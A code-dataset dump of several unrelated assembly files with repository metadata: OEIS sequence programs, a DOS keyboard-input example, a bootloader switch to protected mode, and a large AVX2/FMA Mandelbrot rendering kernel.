mov ax, BurstAmpFlags <BURST_AMP_U_COLOR, BURST_AMP_V_COLOR>
jcxz writeBurstAmp
mov ax, BurstAmpFlags <BURST_AMP_U_BW, BURST_AMP_V_BW>
writeBurstAmp:
mov dx, BURSTAMP
call WriteTVReg
done:
.leave
ret
Cyber16SetBlackWhite endp
| 25.283063
| 79
| 0.609434
|
73530b5886ea12dc4bf692b4608f012257f1f889
| 481
|
asm
|
Assembly
|
oeis/333/A333562.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/333/A333562.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/333/A333562.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A333562: a(n) = Sum_{j = 0..3*n} binomial(n+j-1,j)*2^j.
; Submitted by Jon Maiga
; 1,15,769,47103,3080193,208470015,14413725697,1011196362751,71695889072129,5124481173422079,368599603785760769,26648859989512290303,1934777421539431153665,140966705275001764839423,10301634747725237826093057,754776795329691207916847103
mov $3,$0
mov $5,$0
mul $5,3
lpb $5
sub $5,1
mov $0,$5
add $0,$3
mov $2,$3
sub $2,1
bin $0,$2
mul $4,2
add $4,$0
lpe
mov $0,$4
mul $0,2
add $0,1
| 22.904762
| 235
| 0.717256
|
9d7be32faa7e0482c82afdad8b89d6e53301480b
| 1,209
|
asm
|
Assembly
|
Examples/ch13/Keybd.asm
|
satadriver/LiunuxOS
|
693174ac2b3e503d72782fc7a14f18c8a4f2756c
|
[
"Apache-2.0"
] | null | null | null |
Examples/ch13/Keybd.asm
|
satadriver/LiunuxOS
|
693174ac2b3e503d72782fc7a14f18c8a4f2756c
|
[
"Apache-2.0"
] | null | null | null |
Examples/ch13/Keybd.asm
|
satadriver/LiunuxOS
|
693174ac2b3e503d72782fc7a14f18c8a4f2756c
|
[
"Apache-2.0"
] | null | null | null |
TITLE Buffered Keyboard Input (Keybd.asm)
; Test function 3Fh, read from file or device
; with the keyboard. Flush the buffer.
; Last update: 11/4/01
INCLUDE Irvine16.inc
.data
firstName BYTE 15 DUP(?),0
lastName BYTE 30 DUP(?),0
.code
main PROC
mov ax,@data
mov ds,ax
; Input the first name:
mov ah,3Fh
mov bx,0 ; keyboard
mov cx,LENGTHOF firstName
mov dx,OFFSET firstName
int 21h
; Disable the following line to see what happens
; when the buffer is not flushed:
call FlushBuffer
; Input the last name:
mov ah,3Fh
mov bx,0 ; keyboard
mov cx,LENGTHOF lastName
mov dx,OFFSET lastName
int 21h
quit:
call Crlf
exit
main ENDP
;------------------------------------------
FlushBuffer PROC
;
; Flush the standard input buffer.
; Receives: nothing. Returns: nothing
;-----------------------------------------
.data
oneByte BYTE ?
.code
pusha
L1:
mov ah,3Fh ; read file/device
mov bx,0 ; keyboard handle
mov cx,1 ; one byte
mov dx,OFFSET oneByte ; save it here
int 21h ; call MS-DOS
cmp oneByte,0Ah ; end of line yet?
jne L1 ; no: read another
popa
ret
FlushBuffer ENDP
END main
| 18.6
| 50
| 0.612903
|
48a514bc9a438c0e02ab866a6f31ab6b44dc701f
| 436
|
asm
|
Assembly
|
boot/pm/switch_to_pm.asm
|
vincent-uden/Potatis-MOS
|
48a42c62ebcea1e6c02490abe081a1dca54566a3
|
[
"WTFPL"
] | 3
|
2020-01-08T18:17:13.000Z
|
2020-08-11T15:58:10.000Z
|
boot/pm/switch_to_pm.asm
|
vincent-uden/Potatis-MOS
|
48a42c62ebcea1e6c02490abe081a1dca54566a3
|
[
"WTFPL"
] | null | null | null |
boot/pm/switch_to_pm.asm
|
vincent-uden/Potatis-MOS
|
48a42c62ebcea1e6c02490abe081a1dca54566a3
|
[
"WTFPL"
] | 1
|
2020-01-08T18:17:17.000Z
|
2020-01-08T18:17:17.000Z
|
[bits 16]
switch_to_pm:
; Entering 32-bit protected mode
cli ; Clear the interrupt register
lgdt [gdt_descriptor]
mov eax, cr0 ; Set the first bit of cr0, a control register to high to
or eax, 0x1 ; switch to protected mode.
mov cr0, eax ; update cr0.
jmp CODE_SEG:init_pm
[bits 32]
init_pm:
mov ax, DATA_SEG
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, 0x90000
mov esp, ebp
jmp BEGIN_PM
| 16.769231
| 72
| 0.690367
|
9f5ca7762c1c965e14cb34d8a0e2d09069011981
| 322
|
asm
|
Assembly
|
programs/oeis/321/A321883.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/321/A321883.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/321/A321883.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A321883: Nonnegative integers n for which n! + 1 is not a square.
; 0,1,2,3,6,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69
mov $1,$0
trn $1,3
mul $1,2
add $0,$1
trn $1,3
sub $0,$1
| 32.2
| 195
| 0.639752
|
de15d91d94111f4292a45d3f50d311e93785d657
| 282
|
asm
|
Assembly
|
programs/oeis/221/A221912.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/221/A221912.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/221/A221912.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A221912: Partial sums of floor(n/12).
; 0,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,14,16,18,20,22,24,26,28,30,32,34,36,39,42,45,48,51,54,57,60,63,66,69,72,76,80,84,88,92,96,100,104,108,112,116,120,125,130,135,140,145,150,155
lpb $0
trn $0,11
add $1,$0
sub $0,1
lpe
| 31.333333
| 194
| 0.62766
|
bd3e510ef43f920d2a776634dd20f1b49f92730c
| 424
|
asm
|
Assembly
|
src/stage1/bootloader.asm
|
Cc618/Os2020
|
c8a882e7e2de8e9bd31ad9e3fe11d9798880f15a
|
[
"MIT"
] | 3
|
2020-03-19T18:08:44.000Z
|
2021-01-24T07:01:10.000Z
|
src/stage1/bootloader.asm
|
chiboubys/Os2020
|
c8a882e7e2de8e9bd31ad9e3fe11d9798880f15a
|
[
"MIT"
] | null | null | null |
src/stage1/bootloader.asm
|
chiboubys/Os2020
|
c8a882e7e2de8e9bd31ad9e3fe11d9798880f15a
|
[
"MIT"
] | 3
|
2020-03-19T18:08:47.000Z
|
2021-08-29T15:32:15.000Z
|
; This file gathers all source files to make the boot loader
[org 0x7C00]
[bits 16]
%include "constants.inc"
bootloader_begin:
; Os entry
%include "boot.asm"
; Functions used by boot.asm
%include "utils.asm"
; GDT in one file
%include "gdt.asm"
[bits 32]
; Prepare second stage bootloader
%include "pm.asm"
; Pad and add the magic number
times 0x200 - 2 - ($ - bootloader_begin) db 0
; Boot magic number
dw 0xAA55
| 14.62069
| 60
| 0.714623
|
f8fccb16fce9a0cfc8b5aba348baa27031e9bfc6
| 369
|
asm
|
Assembly
|
programs/oeis/120/A120153.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/120/A120153.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/120/A120153.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A120153: a(1)=7; a(n)=floor((23+sum(a(1) to a(n-1)))/3).
; 7,10,13,17,23,31,41,55,73,97,130,173,231,308,410,547,729,972,1296,1728,2304,3072,4096,5462,7282,9710,12946,17262,23016,30688,40917,54556,72741,96988,129318,172424,229898,306531,408708,544944
add $0,1
mov $1,3
lpb $0
sub $0,1
add $2,$1
mov $1,8
add $1,$2
div $1,3
add $2,4
lpe
add $1,4
mov $0,$1
| 23.0625
| 192
| 0.644986
|
0c482fec161e844627c91e8a925f63c81018166a
| 29,324
|
asm
|
Assembly
|
kernel_modules/mandelbrot/mdb_asm_kernel.asm
|
GregoryIstratov/mandelbrot_cpu
|
306b17de869cbc164d00da921a78dcd40610c4c2
|
[
"MIT"
] | 1
|
2019-08-21T20:09:47.000Z
|
2019-08-21T20:09:47.000Z
|
kernel_modules/mandelbrot/mdb_asm_kernel.asm
|
GregoryIstratov/mdb
|
306b17de869cbc164d00da921a78dcd40610c4c2
|
[
"MIT"
] | null | null | null |
kernel_modules/mandelbrot/mdb_asm_kernel.asm
|
GregoryIstratov/mdb
|
306b17de869cbc164d00da921a78dcd40610c4c2
|
[
"MIT"
] | null | null | null |
; Calling conversions. Taken from UNIX x86-64 ABI.
; RDI, RSI, RDX, RCX, R8, and R9
; RAX, R10 and R11 are available for use by the function without saving.
; Return value is stored in RAX and RDX
; Floating-point arguments are passed in XMM0 to XMM7
; If the callee wishes to use registers RBP, RBX, and R12–R15, it must restore
; - their original values before returning control to the caller
; If the callee is a variadic function, then the number of floating point
; - arguments passed to the function in vector registers must be provided by
; - the caller in the RAX register.
; %rax temporary register; with variable arguments
; passes information about the number of vector
;------------------------------------------------------------------------------------
; Regi ; ; Preserved across ;
; ster ; Usage ; function calls ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; temporary register; with variable arguments ; ;
; rax ; passes information about the number of vector ; No ;
; ; registers used; 1st return register ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; rbx ; callee-saved register ; Yes ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; rcx ; used to pass 4th integer argument to functions ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; used to pass 3rd argument to functions; 2nd return; No ;
; rdx ; register ; ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; rsp ; stack pointer ; Yes ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; callee-saved register; optionally used as frame ; Yes ;
; rbp ; pointer ; ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; rsi ; used to pass 2nd argument to functions ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; rdi ; used to pass 1st argument to functions ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; r8 ; used to pass 5th argument to functions ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; r9 ; used to pass 6th argument to functions ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; temporary register, used for passing a function’s ; No ;
; r10 ; static chain pointer ; ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; r11 ; temporary register ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; r12-r14 ; callee-saved registers ; Yes ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; callee-saved register; optionally used as GOT ; Yes ;
; r15 ; base pointer ; ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; xmm0–xmm1 ; used to pass and return floating point arguments ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; xmm2–xmm7 ; used to pass floating point arguments ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
;xmm8–xmm15 ; temporary registers ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; xmm0–xmm7 ; temporary registers ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; xmm0–xmm7 ; temporary registers ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; mmx0–mmx7 ; temporary registers ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; st0,st1 ; temporary registers; used to return long ; No ;
; ; double arguments ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; st2–st7 ; temporary registers ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; fs ; Reserved for system ; No ;
; ; (as thread specific data register) ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; mxcsr ; SSE2 control and status word ; Partial ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; x87 SW ; x87 status word ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; ; ; ;
; ; ; ;
; x87 CW ; x87 control word ; No ;
; ; ; ;
; ; ; ;
;------------------------------------------------------------------------------------
; Enable relative RIP adressing for being able to make shared object on x86-64 Linux
DEFAULT REL
;void surface_set_pixels(surface* surf, uint32_t x, uint32_t y, uint32_t n, void* pix_data);
extern surface_set_pixels
section .rodata
const_one_ss: dd 1.0
center_ss: dd -0.5
meta_name: db 'Mandelbrot ASM Kernel [AVX2 FMA]',0
meta_name_size equ $-meta_name
meta_ver_maj: db '1',0
meta_ver_maj_size equ $-meta_ver_maj
meta_ver_min: db '0',0
meta_ver_min_size equ $-meta_ver_min
align 32
v_iter_ps: dd 0.0,1.0,2.0,3.0,4.0,5.0,6.0,7.0
v_one_ps: times 8 dd 1.0
v_bound2_ps: times 8 dd 4.0
section .data
width: dd 0
height: dd 0
;wxh: dq 1024*1024
surface_ptr: dq 0
output_sz: dd 0
output_stride: dd 0
scale_ss: dd 0.00188964
shift_x_ss: dd -1.347385054652062
shift_y_ss: dd -0.063483549665202
bailout_si: dd 256
width_r_ss: dd 0
height_r_ss: dd 0
aspect_ss: dd 0
align 32
v_transpose_x_ps: times 8 dd 0
v_transpose_y_ps: times 8 dd 0
v_offset_y_ps: times 8 dd 0
v_offset_x_ps: times 8 dd 0
;--------------------------------------------------
; Macro
;--------------------------------------------------
%define x_mm(mm) x %+ mm
%define y_mm(mm) y %+ mm
%macro self_broadcast256_ss 1
vshufps x_mm(%1),x_mm(%1),0 ; replicate in xmm register
vinsertf128 y_mm(%1), y_mm(%1), x_mm(%1), 1 ; copy low part to high part of ymm register
%endmacro
section .text
global sample_rdtsc:function
global sample_rdtscp:function
global mdb_kernel_metadata_query:function
global mdb_kernel_init:function
global mdb_kernel_shutdown:function
global mdb_kernel_cpu_features:function
global mdb_kernel_process_block:function
; rdi = width
; rsi = height
global mdb_kernel_set_size:function
; rdi - pointer to f32 buffer
global mdb_kernel_set_surface:function
; rdi - type
; rsi - pointer to event
global mdb_kernel_event_handler:function
; old metadata query version
%if 0
; edi = int flags
; rsi = char* buff
; edx = int buffsize
mdb_kernel_metadata_query:
%push mdb_kernel_metadata_query
%define FLAG_NAME 1b
%define FLAG_VER_MAJ 10b
%define FLAG_VER_MIN 100b
%define flags edi
%define buff rsi
%define buffsize edx
%define idx r10
%define buff_idx r9d
%define buff_idx_q r9
%define cur_field rcx
%define cur_field_sz r11
%define tmp0b r8b
xor buff_idx,buff_idx
.test_query_flags:
mov eax,flags
and eax,FLAG_NAME
test eax,eax
jnz .query_name
mov eax,flags
and eax,FLAG_VER_MAJ
test eax,eax
jnz .query_ver_maj
mov eax,flags
and eax,FLAG_VER_MIN
test eax,eax
jnz .query_ver_min
jmp .exit
.query_name:
mov cur_field,meta_name
mov cur_field_sz,meta_name_size
xor flags,FLAG_NAME
jmp .copy_to_buff
.query_ver_maj:
mov cur_field,meta_ver_maj
mov cur_field_sz,meta_ver_maj_size
xor flags,FLAG_VER_MAJ
jmp .copy_to_buff
.query_ver_min:
mov cur_field,meta_ver_min
mov cur_field_sz,meta_ver_min_size
xor flags,FLAG_VER_MIN
jmp .copy_to_buff
.copy_to_buff:
xor idx,idx
.copy_loop:
cmp buff_idx,buffsize
jge .exit
cmp idx,cur_field_sz
jge .test_query_flags
mov tmp0b,[cur_field + idx]
mov [buff + buff_idx_q],tmp0b
inc idx
inc buff_idx
jmp .copy_loop
.exit:
xor eax,eax
mov [buff + buff_idx_q],eax
ret
%pop
%endif
; edi = int flags
; rsi = char* buff
; edx = int buffsize
mdb_kernel_metadata_query:
%push mdb_kernel_metadata_query
%define FLAG_NAME 1
%define FLAG_VER_MAJ 2
%define FLAG_VER_MIN 3
%define flags edi
%define buff rsi
%define buffsize edx
%define idx r10
%define buff_idx r9d
%define buff_idx_q r9
%define cur_field rcx
%define cur_field_sz r11
%define tmp0b r8b
xor buff_idx,buff_idx
.test_query_flags:
mov eax,flags
cmp eax,FLAG_NAME
je .query_name
cmp eax,FLAG_VER_MAJ
je .query_ver_maj
cmp eax,FLAG_VER_MIN
je .query_ver_min
jmp .exit
.query_name:
mov cur_field,meta_name
mov cur_field_sz,meta_name_size
xor flags,FLAG_NAME
jmp .copy_to_buff
.query_ver_maj:
mov cur_field,meta_ver_maj
mov cur_field_sz,meta_ver_maj_size
xor flags,FLAG_VER_MAJ
jmp .copy_to_buff
.query_ver_min:
mov cur_field,meta_ver_min
mov cur_field_sz,meta_ver_min_size
xor flags,FLAG_VER_MIN
jmp .copy_to_buff
.copy_to_buff:
xor idx,idx
.copy_loop:
cmp buff_idx,buffsize
jge .exit
cmp idx,cur_field_sz
jge .exit
mov tmp0b,[cur_field + idx]
mov [buff + buff_idx_q],tmp0b
inc idx
inc buff_idx
jmp .copy_loop
.exit:
xor eax,eax
mov [buff + buff_idx_q],eax
ret
%pop
mdb_kernel_cpu_features:
; mdb/tools/cpu_features.h
; CPU_FEATURE_AVX2 = 1<<8,
; CPU_FEATURE_FMA = 1<<9
mov eax,1<<8 | 1<<9
ret
mdb_kernel_submit_changes:
;(height_r * cy + center) * scale + shift_y
;cy * height_r * scale + center * scale + shift_y
;a = height_r * scale
;b = center * scale + shift_y
;cy * a + b
;--------------------------------------
;vmovaps ymm0,[v_height_r_ps]
;vmulps ymm0,ymm0,[v_scale_ps]
;vmovaps [v_transpose_y_ps],ymm0
;vmovaps ymm0,[v_center_ps]
;vmovaps ymm1,[v_scale_ps]
;vfmadd213ps ymm0,ymm1,[v_shift_y_ps]
;vmovaps [v_offset_y_ps],ymm0
;--------------------------------------
vmovss xmm0,[height_r_ss]
vmulss xmm0,xmm0,[scale_ss]
self_broadcast256_ss mm0
vmovaps [v_transpose_y_ps],ymm0
vmovss xmm0,[center_ss]
vmulss xmm0,xmm0,[scale_ss]
vaddss xmm0,xmm0,[shift_y_ss]
self_broadcast256_ss mm0
vmovaps [v_offset_y_ps],ymm0
;--------------------------------------
; (width_r * cx + center) * aspect * scale + shift_x
; scale_x = aspect * scale
; (width_r * cx + center) * scale_x + shift_x
; cx * width_r * scale_x + center * scale_x + shift_x
; a = width_r * scale_x
; b = center * scale_x + shift_x
; cx * a + b
;--------------------------------------
; ymm0 = scale_x
;vmovaps ymm0,[v_aspect_ps]
;vmulps ymm0,ymm0,[v_scale_ps]
;vmulps ymm1,ymm0,[v_width_r_ps]
;vmovaps [v_transpose_x_ps],ymm1
;vmovaps ymm1,[v_center_ps]
;vfmadd213ps ymm0,ymm1,[v_shift_x_ps]
;vmovaps [v_offset_x_ps],ymm0
;--------------------------------------
; xmm0 = scale_x
vmovss xmm0,[scale_ss]
vmulss xmm0,xmm0,[aspect_ss]
vmulss xmm1,xmm0,[width_r_ss]
self_broadcast256_ss mm1
vmovaps [v_transpose_x_ps],ymm1
vmulss xmm0,xmm0,[center_ss]
vaddss xmm0,xmm0,[shift_x_ss]
self_broadcast256_ss mm0
vmovaps [v_offset_x_ps],ymm0
;--------------------------------------
ret
; xmm0 - scale
mdb_kernel_set_scale:
vmovss [scale_ss],xmm0
ret
; xmm0 - shift_x
; xmm1 - shift_y
mdb_kernel_set_shift:
vmovss [shift_x_ss],xmm0
vmovss [shift_y_ss],xmm1
ret
; edi - bailout
mdb_kernel_set_bailout:
mov [bailout_si],edi
ret
mdb_kernel_init:
call mdb_kernel_submit_changes
xor rax,rax
ret
mdb_kernel_shutdown:
xor rax,rax
ret
; edi = width
; esi = height
mdb_kernel_set_size:
mov [width], edi
mov [height],esi
;mov rax,rdi
;imul rax,rsi
;mov [wxh],rax
mov eax,edi
imul eax,4 ; stride width*4 bytes
mov [output_stride],eax
vcvtsi2ss xmm0,edi ; width
vcvtsi2ss xmm1,esi ; height
vdivss xmm2,xmm0,xmm1
vmovss [aspect_ss],xmm2
vmovss xmm2,[const_one_ss]
vdivss xmm0,xmm2,xmm0
vdivss xmm1,xmm2,xmm1
vmovss [width_r_ss], xmm0
vmovss [height_r_ss],xmm1
call mdb_kernel_submit_changes
xor rax,rax
ret
; rdi - pointer to surface structure
mdb_kernel_set_surface:
mov [surface_ptr],rdi
ret
; rdi - type
; rsi - pointer to event
mdb_kernel_event_handler:
xor rax,rax
ret
; return tsc in rax
sample_rdtsc:
push rbx
cpuid
rdtsc
mov rbx,32
shlx rdx,rdx,rbx
or rax,rdx
pop rbx
ret
; return tsc in rax
sample_rdtscp:
push rbx
rdtscp
mov rbx,32
shlx rdx,rdx,rbx
or rax,rdx
push rax
cpuid
pop rax
pop rbx
ret
;int32 x0, int32 x1, int32 y0, int32 y1
; edi x0
; esi x1
; edx y0
; ecx y1
mdb_kernel_process_block:
%push mdb_kernel_process_block
%define _CMP_LT_OQ 0x11
%define _CMP_NEQ_OQ 0x0c
%define tmp0_b r9b
%define tmp0_w r9w
%define tmp0_d r9d
%define tmp0 r9
%define tmp1 r10
%define tmp1_d r10d
%define tmp2 r11
%define tmp2_d r11d
%define bailout r12d
%define i r13d
%define x_init r14d
%define x edi
%define x_q rdi
%define x1 esi
%define y edx
%define y_q rdx
%define y1 ecx
%define v_cy_l xmm0
%define v_cy ymm0
%define v_cx_l xmm1
%define v_cx ymm1
%define v_zy ymm2
%define v_zx ymm3
%define v_i ymm4
%define v_zx2 ymm5
%define v_zy2_cx ymm6
%define v_zxzy_cy ymm7
%define v_zx_old ymm8
%define v_iter ymm9
%define v_offset_x ymm10
%define v_bound2 ymm11
%define v_one ymm12
%define v_transpose_x ymm13
%define v_tmp1 ymm14
%define v_tmp0 ymm15
%define v_tmp0_l xmm15
; setup stack frame
push rbp
mov rbp,rsp
; save calle-save registers
push rbx
push r15
push r14
push r13
push r12
push r11
; Initialize data
mov bailout,[bailout_si]
vmovaps v_bound2,[v_bound2_ps]
vmovaps v_one,[v_one_ps]
vmovaps v_transpose_x,[v_transpose_x_ps]
vmovaps v_offset_x,[v_offset_x_ps]
vmovaps v_iter,[v_iter_ps]
; save initial value of x
mov x_init,x
.loop_y:
; set x to initial
mov x,x_init
vcvtsi2ss v_cy_l,y
vbroadcastss v_cy,v_cy_l
vmovaps v_tmp0,[v_transpose_y_ps]
vfmadd213ps v_cy,v_tmp0,[v_offset_y_ps]
.loop_x:
vcvtsi2ss v_cx_l,x
vbroadcastss v_cx,v_cx_l
vaddps v_cx,v_cx,v_iter
vfmadd213ps v_cx,v_transpose_x,v_offset_x
vmovaps v_zx,v_cx
vmovaps v_zy,v_cy
; don't forget to reset i to zero
xor i,i
vxorps v_i,v_i,v_i
.loop_bailout:
%if 0
;zx2_cx = zy * zy - cx
vmovaps v_tmp0,v_zy
vfmsub213ps v_tmp0,v_tmp0,v_cx
;zx1 = zx * zx - zy2_cx
vmovaps v_tmp1,v_zx
vfmsub213ps v_tmp1,v_tmp1,v_tmp0
;zxzy_cy = zx * zy + cy
vmovaps v_tmp0,v_zx
vfmadd213ps v_tmp0,v_zy,v_cy
;zy1 = zx * zy + zxzy_cy
vfmadd213ps v_zy,v_zx,v_tmp0
vmovaps v_zx,v_tmp1
;mag2 = zx1 * zx1 + zy1 * zy1
;mag2 = fma(zx1,zx1, mul(zy1,zy1))
;mag2 = zx1
vmulps v_tmp0,v_zy,v_zy
;vmulps v_tmp1,v_zx,v_zx
;vaddps v_tmp0,v_tmp0,v_tmp1
vfmadd213ps v_tmp1,v_tmp1,v_tmp0
; v_zx1 = mag2
; bound_mask = v_zx1
vcmpps v_tmp1,v_tmp1,v_bound2,_CMP_LT_OQ
vtestps v_tmp1,v_tmp1
jz .loop_bailout_exit
; add_mask = v_zx1
vandps v_tmp1,v_tmp1,v_one
vaddps v_i,v_i,v_tmp1
inc i
cmp i,bailout
jne .loop_bailout
%else
vmovaps v_zx_old,v_zx
;zy2_cx = zy * zy - cx
vmovaps v_tmp0,v_zy
vfmsub213ps v_tmp0,v_tmp0,v_cx
;zx1 = zx * zx - zy2_cx
vfmsub213ps v_zx,v_zx,v_tmp0
;zxzy_cy = zx * zy + cy
vmovaps v_tmp0,v_zx_old
vfmadd213ps v_tmp0,v_zy,v_cy
;zy1 = zx * zy + zxzy_cy
vfmadd213ps v_zy,v_zx_old,v_tmp0
vmovaps v_tmp0,v_zx
vmulps v_tmp1,v_zy,v_zy
vfmadd213ps v_tmp0,v_tmp0,v_tmp1
vcmpps v_tmp0,v_tmp0,v_bound2,_CMP_LT_OQ
; add_mask = v_zx1
vandps v_tmp0,v_tmp0,v_one
vaddps v_i,v_i,v_tmp0
vptest v_tmp0,v_tmp0
jz .loop_bailout_exit
inc i
cmp i,bailout
jne .loop_bailout
%endif
.loop_bailout_exit:
;vxorps v_tmp0,v_tmp0,v_tmp0
; bailout = v_tmp0
vcvtsi2ss v_tmp0_l,bailout
vbroadcastss v_tmp0,v_tmp0_l
; bailout_mask = v_tmp1
; zero if bailed out
vcmpps v_tmp1,v_i,v_tmp0,_CMP_NEQ_OQ
; zero out bailed out elements
vandps v_i,v_i,v_tmp1
; normalize values
vdivps v_i,v_i,v_tmp0
;---------------------------------------
; Begin function call block
;---------------------------------------
; save general purpose register before call
push rdi
push rsi
push rdx
push rcx
; set up new stack frame
; to change stack align to 32
push rbp
mov rbp,rsp
; set stack alignment 32
and rsp,-32
; allocate space on stack for vector register
sub rsp,256*8
; save vector registers
vmovaps [rsp], v_bound2
vmovaps [rsp+256*1], v_one
vmovaps [rsp+256*2], v_transpose_x
vmovaps [rsp+256*3], v_offset_x
vmovaps [rsp+256*4], v_iter
vmovaps [rsp+256*5], v_cy
vmovaps [rsp+256*6], v_cx
vmovaps [rsp+256*7],v_i
; calling function signature
;void surface_set_pixels(surface* surf, uint32_t x, uint32_t y, uint32_t n, void* pix_data);
; set up input arguments
; set up 2nd arg first to not overwrite x in rdi
mov rsi,x_q
; y - rdx so rdx=rdx pointless
;mov rdx,y_q
mov rdi,[surface_ptr]
mov rcx,8
lea r8,[rsp+256*7]
; set up new stack frame to restore alignment before call
; allocate 32 bytes to save rbp without breaking alignment
sub rsp,32
mov [rsp],rbp
mov rbp,rsp
; restore stack aligment to 16
and rsp,-16
; call the function to set pixels
call surface_set_pixels wrt ..plt
; restore stack with 32 aligment
mov rsp,rbp
mov rbp,[rsp]
; deallocate space for rbp
add rsp,32
; restore vector registers
vmovaps v_bound2, [rsp]
vmovaps v_one, [rsp+256*1]
vmovaps v_transpose_x, [rsp+256*2]
vmovaps v_offset_x, [rsp+256*3]
vmovaps v_iter, [rsp+256*4]
vmovaps v_cy, [rsp+256*5]
vmovaps v_cx, [rsp+256*6]
; deallocate space of vector registers
add rsp,256*8
; restore stack with 16 byte alignment
mov rsp,rbp
pop rbp
; restore general purpose registers
pop rcx
pop rdx
pop rsi
pop rdi
;---------------------------------------
; end of function call block
;---------------------------------------
add x,8
cmp x,x1
jle .loop_x
inc y
cmp y,y1
jle .loop_y
; restore calle-save registers
pop r11
pop r12
pop r13
pop r14
pop r15
pop rbx
; restore stack
mov rsp,rbp
pop rbp
xor rax,rax
ret
%pop
| 32.582222
| 98
| 0.371811
|
a464683b2c52a5cdd2c126781cc9c849a98b7f09
| 255
|
asm
|
Assembly
|
mc-sema/validator/x86_64/tests/DIV_F32m.asm
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | 2
|
2021-08-07T16:21:29.000Z
|
2021-11-17T10:58:37.000Z
|
mc-sema/validator/x86_64/tests/DIV_F32m.asm
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | null | null | null |
